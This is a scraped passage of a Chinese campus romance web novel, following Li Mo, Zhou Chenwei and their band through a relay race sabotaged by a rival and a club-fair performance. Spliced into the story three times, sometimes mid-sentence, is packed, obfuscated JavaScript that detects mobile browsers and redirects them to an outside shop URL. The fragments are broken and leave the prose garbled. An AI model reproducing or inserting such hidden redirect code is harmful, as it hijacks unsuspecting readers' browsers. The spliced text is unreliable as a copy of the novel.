她的耳朵和嘴唇都被辣红了,像只红眼睛兔子似的,周辰纬看得忍俊不禁,赶忙去附近的水果摊买了半个无籽的黄玉西瓜,放在李茉面前:“吃这个吧,解辣。” 西瓜是冰镇过的,李茉用勺子挖了一勺果肉咽了进去,喉咙间火辣辣的感觉瞬间消退了不少:“谢谢,多少钱?” “水果是请你的,谁让我没管好费开阳这个傻儿子呢?”周辰纬眯了眯眼,目含警告地看向一旁的费开阳。 陈尚恩和周辰纬都是海量,喝到最后,费开阳又是第一个醉的,趴在桌上就沉沉睡了过去。 “真是又菜又爱喝,看你怎么回去。”陈尚恩无奈地翻了个白眼,语气里满是嫌弃。 向珏一手搀扶着费开阳,好脾气地笑笑:“我把他带回去。” 陈尚恩看了李茉一眼,作出安排:“那周少你送茉茉回去行吗?这么晚了,她一个人不安全。我是在校外租的房子,打车回去就行。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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路上,他掏出手机,正打算打车回校外的公寓住,忽地,一道娇俏身影从宿舍楼跑了出来,小跑了好几步终于追上他。 林白薇站在周辰纬面前,气都喘不匀了,语气却带着质问:“你和李茉,你们在一起了吗?” 周辰纬眉头皱起,眼神很冷:“我们已经分手很久了,我好像没有和你解释的必要。” “好啊,那我就自己去问她。”林白薇扬起下巴,神色倨傲。 林白薇是典型被家里人宠坏的小公主,性格其实很骄纵,也有些偏激,不然也不会在分手后还一直骚扰前任。 周辰纬有点头痛,他大可以不搭理林白薇,自己一走了之,但李茉要是和林白薇这样的人对上,只怕会吃亏。 想到这里,周辰纬紧绷着脸,眉眼间戾气隐现:“我和她不是你想的那种关系,她是我乐队的主音吉他手。够了吗?” “你以为我会信?”林白薇冷笑一声。 “你信不信都和我无关,”周辰纬看着她,眼神如深潭般幽晦:“林白薇,我从不吃回头草,也希望你不要去打扰我和我身边的人。” 两行眼泪从林白薇漂亮的眼里流了下来,她眸光里闪动着怨忿,声音也变得尖利:“你们很早就勾搭在一起了吧?你就是因为她和我分手的?” “走了。”周辰纬耐心彻底耗尽,不再多说。 - 北方的大学多数没有独立的卫浴,就连处在大学鄙视链顶端的S大都不能免俗。 晚上回到宿舍后,李茉去了公共洗漱室手洗衣服,她正在往自己的小盆里倒洗衣液时,林白薇却忽然走到了她身边。 林白薇直接把面前的水龙头开到最大,溅起的水花全流进了李茉洗衣服的盆里。 李茉冷着脸把盆里的水倒掉,正打算去个离林白薇远点的地方,林白薇却在此时靠着她的耳朵说道:“你也喜欢他,对吧?” 李茉心跳得很快,表面上却依然平静:“我听不懂你在说什么。” “你以为你藏得很好吗?”林白薇看着她,露出一个恶意的笑:“可惜啊,他看得上任何人,唯独看不上你这样的小土妞。” 李茉冷冷看着她,眼神像冬日里结了一层白霜的玻璃:“林白薇,我只为你感到悲哀。能考上我们学校法学院,你高考也是全省前几名。如果我是你,就会珍惜在最高学府求学的机会,而不是为了一个男人处处上蹿下跳,把自己活成一个笑话。” “你......”林白薇被她戳中痛脚,想反驳些什么,嘴唇翕动了半天,却一句话都说不出来。 她恨恨地瞪了李茉一眼,就小跑着出了洗漱室。 李茉一脸平静洗完了衣服,拧干之后就回了宿舍晾晒。 她表面上没把这个插曲放在心里,可深夜躺在床上怎么都睡不着的时候,脑海里却不受控制地一遍遍飘荡着林白薇说过的话。 像她这样从小乖到大、世界里只有学习和兼职的人,真的能走进他的世界吗? 也许,做他的普通朋友,安安份份当他乐队的成员,对她来说才是最好的选择。 李茉在床上翻了个身,心口泛起微微的钝痛。 那些注定不会实现的非分之想,也该放下了。 10. 是梦 步入十月后,不知道是不是残夏的暑气在北禾盘桓了太久,这座城市报复性地接连下了几场倾盆大雨。 校运会被安排在小长假开学后的第一个周末,这类活动能加实践分,所以李茉也报名了4X100米短跑接力。 她虽然长了一张软妹的脸,但腿长比例好,跑起来像一阵风似的,因而被安排到了第四棒次。 她前一棒的学姐叫陶汝心,是林白薇的室友,也是她关系很好的朋友。 正式比赛前一天,几个女生去了操场训练。中途,林白薇特地来给陶汝心送水,还买了一大袋零食。 趁着她们中场休息,林白薇把陶汝心拉到一边,盯着李茉的身影,忿忿说道:“心心,我被人欺负了,你要帮我。” 陶汝心皱了皱眉:“怎么回事?” 林白薇咬了咬唇:“你还记得我上次在法援社被吴教授骂的事儿吗?是李茉故意害我的,她不和我商量,自己就把意见书写了,所以吴教授找我问问题的时候,我才答不上来。” 陶汝心拧起眉毛:“她这么有心机?不过她针对你干嘛,你俩之前有矛盾?” 林白薇朝李茉的方向又看了几眼,语气幽幽地说了几句话。 训练完之后,陶汝心给几个女生分了那袋零食,但故意略过了李茉。 几个女生都察觉到了什么,面面相觑没说话。气氛变得有些尴尬,李茉倒是一脸的无所谓。 这个年纪的女生就是这样,讨厌谁就要拉拢其他人玩孤立排挤那一套。 李茉之前遭遇过更严重更恶劣的霸凌,对她来说,陶汝心的手段太过拙劣。 她也不屑于做出任何反应。 校运会那天这天天气很好,阳光慷慨洒下来,气温直接回温了好几度。 操场看台上,费开阳正扛着一台相机,在取景框里选取合适的角度。 他是学校摄影社的社长,摄影社和学生会的宣传部有合作,共同负责此次校运会的出图。 周辰纬坐在他身边,长腿曲着,正懒散地抽着烟,姿态落拓不羁。 烟灰簌簌落下,有的残留在他身上,又很快被风吹走。 “你这相机太带劲了,隔这么远都能拍这么清楚,”费开阳爱不释手地摩挲着相机机身,啧啧赞叹:“哈苏,这可不便宜吧?” “忘记价格了,反正不贵。”周辰纬漫不经心地笑笑。 没多久,郑玉芝发现了他们,小跑着来到周辰纬身边。 她今天为了给外语学院举牌,特地穿了一件香槟色的礼服,衬得身材更加前凸后翘。 “周少,这台哈苏是你的吧,”郑玉芝摸了把费开阳面前那台价值十几万的相机:“能不能帮我拍两张照片?” 稍微亲近一点的人都知道,周辰纬是个摄影高手,他家里有十几台相机,拍出来的作品审美也很绝。 只不过,他这个人有个怪癖,他拍照只拍风景,不拍人。 郑玉芝倒没想真让他拍,只是想借此试探一下他会不会为自己破例。 结果不出所料,周辰纬直接拒绝了她,半点情面都不留,语气冷淡得彻底:“当然不可以,谁给你的勇气提这种要求?” “......”郑玉芝被他下了面子,脸上的笑意也差点挂不住,只能假装有事,逃也似的回了外语学院那边。 郑玉芝走后,周辰纬冷冷睨了费开阳一眼,意有所指:“你真是什么人都往我的乐队里带。” “我错了,以后再也不会了。”费开阳滑跪得很快,马上道歉。 郑玉芝是费开阳带进乐队里的。她不仅不会乐器,基本的乐理都不明白,排练时只会一直围着周辰纬打转,很耽误他们进度。 一来二去,周辰纬也有点烦了。 他这人虽然桃花多,却从不养鱼搞暧昧。对不喜欢的人,他一向很直接,也从不会给他们虚假的暗示。 换句话说,他根本不屑于,用这种方式去证明自己的魅力。 费开阳觑着周辰纬的神色,解释道:“她说从高中就开始喜欢你,为了你拼命考上S大,我见她说得太可怜,才同意让她当乐队经理的。” “照你这么说,高中喜欢我的人多了去了,我每一个都要负责?”周辰纬掐了烟,笑得凉薄又寡情:“没感觉就是没感觉。” “那我找个机会和她说说吧。”费开阳叹了口气,注意力重新放到了镜头里。 周辰纬一支烟刚抽完,就听见费开阳的一声惊呼:“于瀚那伙人又去骚扰学妹了啊,一天天的人事不干一件。诶?被他们那伙人围住的,不是李茉妹妹吗?” “你确定?”周辰纬的声线陡然转冷。 “确定。于瀚好像在要她的微信。”费开阳又多看了几眼。 周辰纬眉心一凛。 于瀚是他们的高中校友,这人高中就谈过不少女朋友,劈腿、脚踩几条船、始乱终弃,什么渣事都做了一遍。 可他很擅长伪装,得手之前百般嘘寒问暖,再加上他家的家世,不少妹子还是前赴后继地往他身上扑。 “在哪儿?”周辰纬掐了烟,声音很冷。 “操场西北角。”费开阳说。 他骂骂咧咧地又抱怨了于瀚他们几句,许久没人回应,一转头才发现,身边的周辰纬早就不见了。 - 4X100比赛前,几个女生在老师的指导下去了热身场地,要做一组热身运动。 今天气温高,一会还要做爆发运动,所以李茉的外套里穿了一件短袖,下半身穿了短裤。 她做拉伸动作时,一双白嫩笔直的腿露了出来,直接看呆了她身边的小贝。 “茉茉,你也就看着瘦,身材倒是挺有料的。”小贝吞了吞口水:“啧,不远处的几个大二学长眼睛都看直了。” 李茉下意识往旁边看了一眼。几个体院的男生正在一旁吞云吐雾,他们中间的是个留着寸头的高个子男生,男生肤色很深,手臂上还有张牙舞爪的纹身,看着挺唬人。 见他的第一眼,李茉就有种不太舒服的感觉。 果然,几个男生聊起了寸头男的前女友,从她的身材点评到那种事儿上,污言秽语一茬茬地往外冒。 李茉拧着眉往外挪了挪,离他们远了一些。 天气太热,李茉刚运动了一小会儿,额前就沁出汗珠,她有些难受,蹲在地上小口地喘气。 见状,小贝拍了拍她的背,说道:“茉茉,是不是太热了?我去小卖部给你买瓶水。” 李茉点了点头,小贝刚走后不久,一被日光拉长的身影就落了下来,把她整个人圈在了影子里。 李茉抬眼一看,寸头男不知道为什么来到了她身边。 “妹妹,你是大一新生吧,之前没在学校见过你,”寸头男笑得吊儿郎当:“加个微信呗,我觉得你很可爱。我叫于瀚,你可以叫我瀚哥。” “我没有微信。”李茉声音不大,却莫名有种坚定的力量感:“我赶时间,可以让我走了吗?” 听见她不留情面的拒绝,于瀚不由得愣了一下。他家境优渥,再加上接近一米九的身高,在校内很吃得开,要微信就没被人拒绝过。 几个哥们还在一边看着,于瀚觉得丢脸,拦在李茉身前,一把捏住了她的手腕,嘴里还不依不饶道:“哎呀大家都是同学,加个微信怎么了嘛。” 李茉皮肤娇嫩,被他这么捏着,很快就出现了一片红痕。她想要挣扎,对方却越捏越紧。 痛意袭来,李茉逐渐受不住,正打算虚与委蛇地妥协时—— 身后传来一道冰冷又低沉的声音: “于瀚,这么纠缠就没意思了吧。” “呦,周少,好久不见。”看清来人之后,于瀚有些滑稽地向他行了个礼。 只是明眼人都看得出来,他这笑容里多少带了几分畏惧和谄媚。 高中时,于瀚仗着家里的背影,一向不可一世,见周辰纬比自己风头更劲,心里定然是不服气的。 他曾经主动出言挑衅过周辰纬,结果为自己的口出狂言付出了惨痛的代价。 那时候他就明白了,周辰纬是他惹不起的人。 于瀚吃不准周辰纬怎么会突然出现,摸出一包烟递到他面前:“周少,这个劲大,你要不要试试?” 他主动递烟,有放软身段的意思,也是想缓和缓和与周辰纬的关系,但周辰纬根本没接,而是盯着他冷冷说道:“以后都别招惹她,不然我能打你一次,也能打你第二次,懂吗?” 于瀚脸上险些挂不住,但他知道周辰纬是自己惹不起的人, “我说你怎么护得这么急,这是你新马子?倒是和之前那几个不一样。” “这不是你该操心的事。”周辰纬懒得搭理,短短一句话就打发了他。 把于瀚赶走后,周辰纬看向一旁的李茉,想了想还是开口:“于瀚那人风评够差,之前不知道玩弄过多少女生,以后见到他记得绕着走。” “我......知道了。”李茉垂眼说道。 周辰纬不甚在意地点点头,抬脚正欲离开,目光扫到她的手腕上时,动作忽然一顿。 她的皮肤太白也太娇嫩,刚才被于瀚那么用力地攥着,上面骤然出现了一大片红痕。 不用想都知道,她的手腕一定很疼。 周辰纬有些烦躁地迈步离开,几分钟后,他的身影去而复返,手里还握着一瓶刚从冰柜里拿出来的冰镇矿泉水。 他在一众热身的人群中精准找到李茉的位置,不由分说地把冰水按在她手腕的红痕上,“我没找到冰块,先用这个冰敷一下吧。” 瓶身上凝结了一层沁凉的冰雾,触感又湿又冰,李茉不由得打了个哆嗦。 “有点用吗?”周辰纬低哑磁性的声音顺着风传过来,打在她耳畔。 “好多了,我已经没那么疼了。”李茉看着他说,琥珀色的瞳孔里有星星点点的笑意。 周辰纬走后,李茉拧开了他带来了那瓶矿泉水,小口小口地啜饮着。 她正喝着水,余光却瞥见了正和陶汝心不知道说什么的林白薇。 林白薇正眼神不善地盯着她看,眼里的怨毒就快把她戳出一个大洞来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351453|199613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 李茉想了一下,最终没做任何反应。 她想,林白薇就算再讨厌她,也不会因为一时的恩怨影响全队的成绩吧。 李茉一瓶水快要喝完,小贝才拿着两瓶矿泉水急匆匆地回来:“不好意思啊茉茉,我中途去了个厕所,就来晚了。” “没事,”接力赛已经开始检录,李茉把手里的水瓶递给了小贝,“我先过去了。” “比赛加油啊!”小贝和她碰了碰拳。 比赛开始后,前两棒的表现都中规中矩,第二棒结束,法学院的队伍排在几支参赛队伍的中下游。 教练特地把陶汝心按排在第三棒,是因为陶汝心曾经是运动员,短跑项目上的爆发力很强。 她接棒后的表现也确实亮眼,她的100米快跑完时,已经跻身跑道上的第三名,只要李茉照常发挥,她们这支队伍就一定能拿到名次。 眼看着胜利在望,谁都没想到,陶汝心把接力棒交到李茉手上时,不仅没松手,反而使了十足的力,用力往后一拉—— 李茉整个人摔在地上,膝盖和手肘传来难以忍受的疼痛,疼到有那么几秒钟时间,她连意识都是模糊的。 “茉茉!”小贝的声音。 “学妹,你还好吗?”费开阳的声音。 还有几个同学们焦急的惊呼。 李茉能听见他们的声音,可完全没法回应,她用力张了张嘴,却发不出一丝动静。 恍惚间,她被一双有力的大手抱起,脸贴在对方滚烫又坚硬的胸膛上,听得见他沉稳有力的心跳,鼻端溢满了铺天盖地的雪松香。 过了几秒,李茉神志恢复清明,可她一睁开眼睛,视野中最先出现的竟是周辰纬利落的下颌。 是在做梦吗? 李茉不由得揉了揉眼睛,又朝他的方向多看了几眼,或许是她的目光太直接,周辰纬很快就察觉到,脸上没什么表情地问: “看什么?” 身体掌握不了平衡,李茉下意识勾住了他的脖子:“没看什么,就是……刚才我还以为自己在做梦。” 脖颈处丝丝麻麻的痒意,周辰纬闭了闭眼,脸上依旧是一副吊儿郎当的表情,他笑了起来,语气戏谑:“什么像做梦?和我在一起像做梦?那我还挺荣幸。” 李茉脸一红,她不知道怎么接话,索性不说话了。 两人间的气氛又陷入沉默,好在校医院离得不远,步行几分钟就能到。 校医给开了点药后,周辰纬把李茉放在校医院进门处的一排长椅上,叮嘱:“在这里等我,我去拿药。” 几分钟后,周辰纬去而复返,李茉还坐在长椅上乖乖等他。她膝盖和手肘都伤得严重,尤其是手肘,擦伤处的创口血肉模糊,看着就触目惊心。 李茉伸出手,想接过他手里的药,却被周辰纬给拒绝了。他从塑料袋里取出一盒药,修长的手指拆开了药盒的包装,看着她说道:“我来吧,你坐好。” 不知道为什么,李茉竟从他的声音里听出了一丝温柔。 周辰纬半蹲在李茉身前,用碘酒先给她膝盖的伤口消了消毒。 李茉的垂眸往下看了一眼,心跳得飞快,这还是她第一次用俯视的角度看他。 周辰纬的睫毛不长,但平直且密,垂下来的时候像把扇子,脸上的神色专注。 傍晚的阳光透过透明玻璃门洒进来,莫名给他镀上了一层毛茸茸的光晕,显得格外温柔。 两分钟后,周辰纬开始处理她手肘的伤口。蘸着碘酒的棉签刚附在伤口上,李茉就忍不住轻轻“嘶”了一声,表情痛苦。 “很痛吗?”他轻笑,眼里有心疼的情绪,轻声安慰:“就痛这一会,忍忍就过去了。” 李茉托着腮看着蹲在她身边的少年,忍不住问:“周辰纬,你从前是不是......经常受伤?” 他轻飘飘地扫了她一眼:“为什么这么问?” “因为我感觉......”李茉斟酌着说:“你处理伤口很熟练。” “嗯,习惯了。从前缺钱的时候,会去打地下篮球。那段时间身上有很多大大小小的伤口,大的就用碘伏处理一下,小的就不管了,反正会自愈。”周辰纬轻描淡写地说。 明明他是满不在乎的口吻,可心疼的情绪还是一点点在李茉心里发酵。 地下篮球不同于正规比赛,为了追求刺激和观赏性,需要进行实打实的暴力对抗。 怪不得他打架那么厉害,原来是在一场场的实战里磨练出来的。 “你也会缺钱吗?”李茉问。 “会啊,那时候我妈生日快到了,想买礼物送给她。”周辰纬眼睫垂下,语气很轻。 几分钟后,周辰纬处理好伤口,站起身,递过来一管凝胶:“等伤口愈合了,再涂这个。” 李茉笑了笑,伸手接过,长条形的方盒子还带着他掌心的温度,她的心也像是被暖流涌过。 长这么大,除了曾经的父母和一个邻居家的哥哥,还是第一次有人对她这么好。 她喜欢的少年,是世界上最好的少年,她从没怀疑过。 11. 火焰 晚上,李茉照常去了学校的音乐教室排练。排练结束,众人收拾好东西正准备离开,费开阳拦住了几人:“大家等等,我要说个事。” “有话不能群里说吗?我还有点事急着回去。”郑玉芝抱怨道。 “你有什么事?”费开阳随口问了一句。 “今晚我偶像的单曲发售,”郑玉芝含羞带怯地说道,语气兴奋:“今天是他出道两周年纪念日,他给我们全体启明星写了一首歌,我要回去给他做数据。” 众人:“......” 费开阳清了清嗓,故作严肃地宣布道:“我问了学生会的朋友,学校今年的社团纳新就定在本周六,每个社团都可以在场地中央的舞台表演。” 郑玉芝不解:“跟我们有什么关系?” “我是学校‘聆音’摇滚社的社长,按理说也需要出个节目,”费开阳摩挲了一下下巴:“但我这个社团青黄不接,活跃的成员也不多,所以我想——” “你想让我们给你当免费劳动力呗?”郑玉芝心直口快地打断了他。 费开阳表情有些尴尬,解释道:“咳咳,话是这么说,但我们一起排练了这么久,也需要一个表演机会来增加一下实践经验嘛,大家怎么想的?” 一时间没人说话,费开阳只好把求助的目光投向周辰纬。 周辰纬眼神不着痕迹地在李茉身上扫过,笑了一下,表了态:“可以。” 既然他都同意了,其他人也没再反对,这件事就这么定了下来。 - 周六,北禾下起了淅淅沥沥的小雨,天空中乌云密布,透不过一隙阳光。 气温迅速转冷,李茉把准备好要穿的裙子放回衣柜,拿了一件米白色的针织衫,下搭一件天蓝色的牛仔裤,整个人清纯又素丽。 收拾好自己后,李茉拿起琴包准备出门。这时,宿舍门被人推开,小贝从外面走了进来。 看见李茉的造型,小贝拉了拉她衣角:“茉茉,你是要去百团游园会吗?” “对,上午要去摇滚社的摊位帮忙,下午我们乐队有演出。”李茉简单解释了一下。 “那太好了,我也想去游园会玩,正愁没人陪呢,”小贝的眼睛弯了弯:“我可以给你们演出应援,等我化个妆,我们一起过去吧。” “好。”李茉点了点头。 等小贝化妆的二十来分钟里,她又仔仔细细把要演奏曲目的琴谱过了三遍。 李茉虽然小学时候就开始练琴,但她从来没有当众表演过,一直只把电吉他当爱好而已。 而且,一登上舞台,面对下面那么多观众的目光,她会忍不住地腿软发抖......她是真的很怕自己搞砸。 小贝打扮好之后,拉着她的手,轻车熟路地来到百团游园会的纳新点。 因为下雨的突发状况,游园会被安排在了体育馆的室内进行。 S大的校级社团林林总总得有百来个,这些社团的摊位星罗棋布,几个热门社团的摊位前已经围聚了不少人,人流熙攘,喧嚣又热闹。 两人绕着活动场地走了不到半圈,很快就被塞了厚厚一沓宣传单。 由于演出已经开始,舞台附近被挤得水泄不通,汹涌的人潮一波接着一波地往前拥。李茉被夹在人群中间动弹不得。 忽地,不知道谁推了李茉一把,她一个趔趄差点栽倒,隔壁摊位的一个男生见状,伸手扶住她,嘴里还贴心叮嘱道:“小心一点。” 男生手上的皮肤异常干燥,摩挲起来甚至带了丝粗粝的颗粒感,这是洗过很多遍手的皮肤状态。闻着他身上浓重的药皂气味,李茉判断出,他应该是个有重度洁癖的人。 男生收回手后,李茉抬眼,看到一张熟悉的、苍白又俊美的脸,她不由得惊呼出声:“嘉年哥!” “茉茉,又见面了。”陈嘉年看着她笑。 “嘉年哥,这是咱们高中的学妹吗?怎么没在学校里见过?”他身边的男生好奇问道。 “我们都在南宜长大,打小就是邻居。高一那年,为了我读书考虑,我妈妈才带着我转来了北禾上学,”陈嘉年解释道,又把视线投向李茉:“对不起,茉茉,当时我们走得太匆忙,没来得及和你道别。” “没关系,嘉年哥,你后来不是回南宜看我了吗?”李茉微微一笑,并不介怀。 这时,陈嘉年身边的男生给她递了一摞宣传单:“学妹,我们是民谣社的,你要来玩儿吗?嘉年哥是我们民谣社的社长,而且,民谣社是校内最大的社团——” 时间不早了,李茉害怕迟到,想了下还是打断了男生的喋喋不休:“嘉年哥,我要去一个学长的社团帮忙,已经约好了。我先走了,有机会请你吃饭。” “好。”陈嘉年表情如常,笑着点了点头。 民谣社和摇滚社的摊位离得很近,相比于民谣社的热闹,摇滚社就显得冷冷清清,连只苍蝇都不愿意往摇滚社这儿飞。 人皆有爱美之心,其他社□□出来迎新的都是社团里长得好看的那一批,可摇滚社派出来的全是一群nerd,戴厚得像啤酒瓶底一样的眼镜,穿格子衬衫,怎么看怎么没有吸引力。 李茉快步赶到摇滚社的摊位,一眼就看到了努力游说新生入社的费开阳。 费开阳背对着她,对着几个学妹吹得天花乱坠:“我敢保证,在校内所有大大小小的社团里,摇滚社的赞助一定是最足的。因为社内的乐队不仅会外出接商演,还有金主爸爸自掏腰包请吃饭。” 几个学妹被他说得有些意动,费开阳觑着她们神色,继续挑着眉说到:“入社不亏,悄悄告诉你们一个秘密,我们社今年来了一个很帅的大帅哥哦——” 像是为了印证他的话一般,下一秒,周围人群中忽地出现一阵躁动,间或传来几个女生隐隐压着兴奋的讨论声。 余光中,那道背着琴包、修长挺拔的身影重新出现,李茉只觉得自己的心跳都漏了半拍。 周辰纬穿了件白色长袖内搭,黑t叠穿在外,薄薄的冷帽把刘海压至眉下,轮廓流畅,五官分明。 钻石耳钉在室内暖色光的照耀下闪闪发光,给他平添了分冷感。他似乎是在听歌,黑色的耳机线垂顺着落在口袋里。 “看,帅哥这不就来了。”费开阳冲她们眨了眨眼,促狭地说。 周辰纬来宣传的效果立竿见影,刚才还稍显冷清的摊位前顿时来了不少人,绝大多数都是女生。 看着大家都忙了起来,李茉也拿了一摞还散发着油墨气味的报名表,分发给有入社意向的新生们。 她还没发出去几张,就看到几个女生拉扯着彼此的胳膊,一起来到接引台前。 女生们表面上在咨询问题,眼神一直往周辰纬身上飘,典型的醉翁之意不在酒。 几人把能想到的问题都问了一遍,一时间不知道该说什么,你看看我我看看你,谁都不愿意离开。 而周辰纬照常是那副淡淡的模样,气氛陷入了几秒钟的迟滞。 这时,几人中间一个扎马尾的女生忽地开口:“学长,能给我们摸摸你的琴吗?我们还没见过电吉他长什么样子诶。” 女生捧着腮看着周辰纬,眼睛亮晶晶的。然而,周辰纬像是没看到她眼里的期待,只是拧了拧眉,没什么温度地说道:“不可以。” 许是被他身上骤然而至的疏冷感吓到,提问的女生有些讪讪的,没敢再说话,拉着几个同伴很快离开。 李茉倒是能理解他骤然表现出的低气压,对乐手来说,自己的琴是很私人的物件,跟老婆也差不多了。 周辰纬的边界感和原则性都很强,他心里有一条不可触碰的底线,只要你不去触碰他的底线,他就是再温柔不过的一个人。 周辰纬那张脸就是活招牌,前一波女生刚走,后一批就蜂拥而至。李茉又朝他的方向看了两眼就收回视线,专心发起了传单。 上午的活计很轻松,十二点就收工了。 收工之后,费开阳抢着请客吃饭,带给他帮忙的乐队成员去了学校的网红食堂。 乐队的演出被安排在下午两点四十,时间离得越近,李茉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351454|199613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始越发紧张,她不太有胃口,只点了一份白灼蔬菜和一碗粥。 她端着餐盘入座后,周辰纬瞥了眼她面前算得上是空荡荡的餐盘:“就吃这么少?” “有点紧张,吃不下东西。”李茉深吸了一口气,试图让自己平静下来:“我......没有表演的经验,怕会拖大家后腿。” “弹错音也没关系,反正绝大多数人都听不出来,”费开阳笑了:“放宽心。” 陈尚恩他们也接着宽慰了她几句,李茉紧张的情绪稍稍得到安抚,但正式演出前的两分钟,看着舞台周边人头攒动的观众,她还是有些呼吸不畅。 面对台下那些或好奇或兴奋的面孔,她不可避免地回想起了从前的一些事。 以及那段千夫所指的时光。 她溺在这些回忆里,像独自一人在海上漂浮,身边空无一物,目光所及之处,只有能吞噬一切的寂静与孤独。 李茉的一只手开始不受控制地小幅度颤抖起来,她正打算逃离时,忽地,一双大手握住了她正在发抖的右手,蛮横又炽热的温度源源不断地传进从手背流进四肢百骸。 这双手的指节修长又分明,视线往上是一段青筋虬结的冷白手臂,手心的茧子不可避免地摩擦到了她的皮肤,粗粝的触感让她的心尖一阵阵发颤。 “别紧张,没什么好怕的,观众又不会吃了你。”那人贴在她耳边说,嗓音里带着笑意。 李茉一抬眼就看见了他弧度凌厉的下颌,左耳后方长着一颗朱红的小痣。 见她的眼神终于恢复清明,周辰纬薄唇微启,又重申了一遍:“别紧张。” 周辰纬握着她的手不过一两分钟,却像一阵强有力的镇定剂,让她把那些不好的回忆通通抛在脑后。 主持人的报幕声结束,众人登上舞台,周辰纬刻意拉着她落在了最后,直到两人一起登台,他才终于松开手。 几人全登上舞台后,演出正式开始。 向珏的歌声没让任何人失望,他天生一副高亢激越的好声线,技巧简直可以媲美专业歌手,在校园表演的舞台上已经算是降维打击。 费开阳和陈尚恩的配合很好,两人的律动感很强,稳稳撑起了一首歌的地基。 但最引人注目的,还是周辰纬。 他抱着一把造型独特的红木吉他站在半明半昧的边角,弹奏的曲调时而沉缓又骤然激昂。 独特的旋律配合着电吉他铮然的音色,像是一场不期而至的飓风,呼啸着席卷了这片原本宁静的花园。 又像是一把熊熊燃烧的火焰,燎原冲天,入目除了火焰的赤红别无他色。 民谣社的摊位就在舞台旁边,陈嘉年凝望着舞台上那个纤细的身影,身后的讨论声一波接一波传进耳朵。 “抱着红色吉他的那个就是传闻中的周辰纬吗?也太帅了,简直是天菜级别。” “弹吉他的女生也很出色啊,人长得还好看,脸虽然是清纯挂的,但在舞台上太飒了。” “摇滚社在哪报名?我现在特别想去。” “走走走,也带上我。” 听了她们的讨论,陈嘉年的眼里飞快闪过一丝阴鸷,又很快消弭不见。 舞台上的表演仍在继续,李茉仍然不敢看台下的观众,吉他演奏的过程中,她一直在看周辰纬。 那个抱着电吉他的少年,即使嘴角只噙着浅淡的笑容,也看得出是何等意气风发,彷佛鲜花与掌声天生就该属于他。 他明明站在舞台的边角,在她眼里,却好似站在宇宙中心,她满心满眼都是他。 一首歌的演奏接近尾声,周辰纬似乎察觉到她的目光,也回过头和她对视。 四目相对的那一刻,周辰纬含笑看着她,嘴唇动了几下,似乎说了句话。 周围的乐声嘹亮,台下的尖叫声嘈杂,可李茉的耳朵像是屏蔽了其他所有声音,只听见了周辰纬对她说的话。 简简单单的几个字,却让她的心跳一瞬间如擂鼓般怦然。 他说的是——“很厉害啊,李茉。” 12. 拭泪 演出结束后,乐队的一群人有说有笑地回了摇滚社的摊位。 小贝正在摊位上等李茉,看见几人过来,她蹦蹦跳跳地迎了上去,眼睛亮晶晶的:“茉茉,你今天真的太厉害了。” “其实我发挥得一般,乐队的几个人都比我厉害。”李茉实话实说。 其实演出的时候,她还是免不了有些紧张,也弹错了好几个音,好在绝大多数观众都沉浸在他们带来的摇滚气氛中,没听出来她的失误。 费开阳马上打蛇随棍上,一脸殷勤地拍起了马屁:“恩姐,没想到你两年没演出,功力依然不减。怎么说呢,我就没见过比你还牛的女贝斯手。” “哦,”陈尚恩一脸冷淡,一板一眼回应道:“可是你的水平下降了很多,groove不行,最后一段明显有点手忙脚乱了。” 费开阳:“......” 费开阳在陈尚恩这里吃了个瘪,只好把话题cue到向珏身上: “向珏,我是真没想到你唱歌能有这么好听,简直媲美专业歌手了。” 听到这个名字,小贝直接在原地愣了两秒。 李茉最先注意到异样,她看着小贝,探身问道:“怎么了?” “没有,就是听到了一个熟悉的名字,和我之前认识的一个人重名了。”小贝说。 “是对你很重要的人吗?”李茉看着她失魂落魄的模样,忍不住发问。 “是我青梅竹马的一个小哥哥,后来他们一家搬走了,我们也有好多年没见了,”小贝又朝向珏的方向看了两眼:“但他长得和我的小哥哥一点都不像,应该只是重名了。” 这个小插曲两人都没放在心上,因为游园会后没多久就是期中考试,那段时间李茉复习得昏天黑地,考完试整个人又瘦了好几斤。 考试结束的次日,李茉就接到了法援社的一桩新案件。 当事人是一名早年丧夫的寡居老人,老人作为一名单亲母亲,含辛茹苦地养大了四名子女,但年逾古稀,却没有一个子女愿意承担赡养义务。 经过走访调查,李茉发现老人的四个子女都有收入来源,完全有余力支付赡养费用,可他们却像商议好了一样,纷纷选择逃避了赡养义务。 李茉通过微信、电话和老人几名子女进行了简单的沟通,前三人的沟通还算顺利,只有老人的小女儿,无论如何都联系不上。 根据老人的口述,她小女儿的家就在听溪巷的巷尾,家门口安装了红色的大铁门。 李茉决定亲自走一趟。 晚上,结束了家教工作后,李茉打了辆出租车,去了听溪巷附近。 听溪巷这一片,由于楼房低矮杂乱、污水横流而被北禾本地人戏称为“城市的牛皮癣”,但里面房租低廉,是三教九流人士的聚居地,里面开了不少乱七八糟的理发店、纹身店和小酒馆。 这里来来往往的年轻男女多数都染着头发、肢体上还有纹身,眼神凶狠。走到一半,李茉心里已经打起了鼓,忐忑不已,她心里甚至泛起了原路返回的冲动。 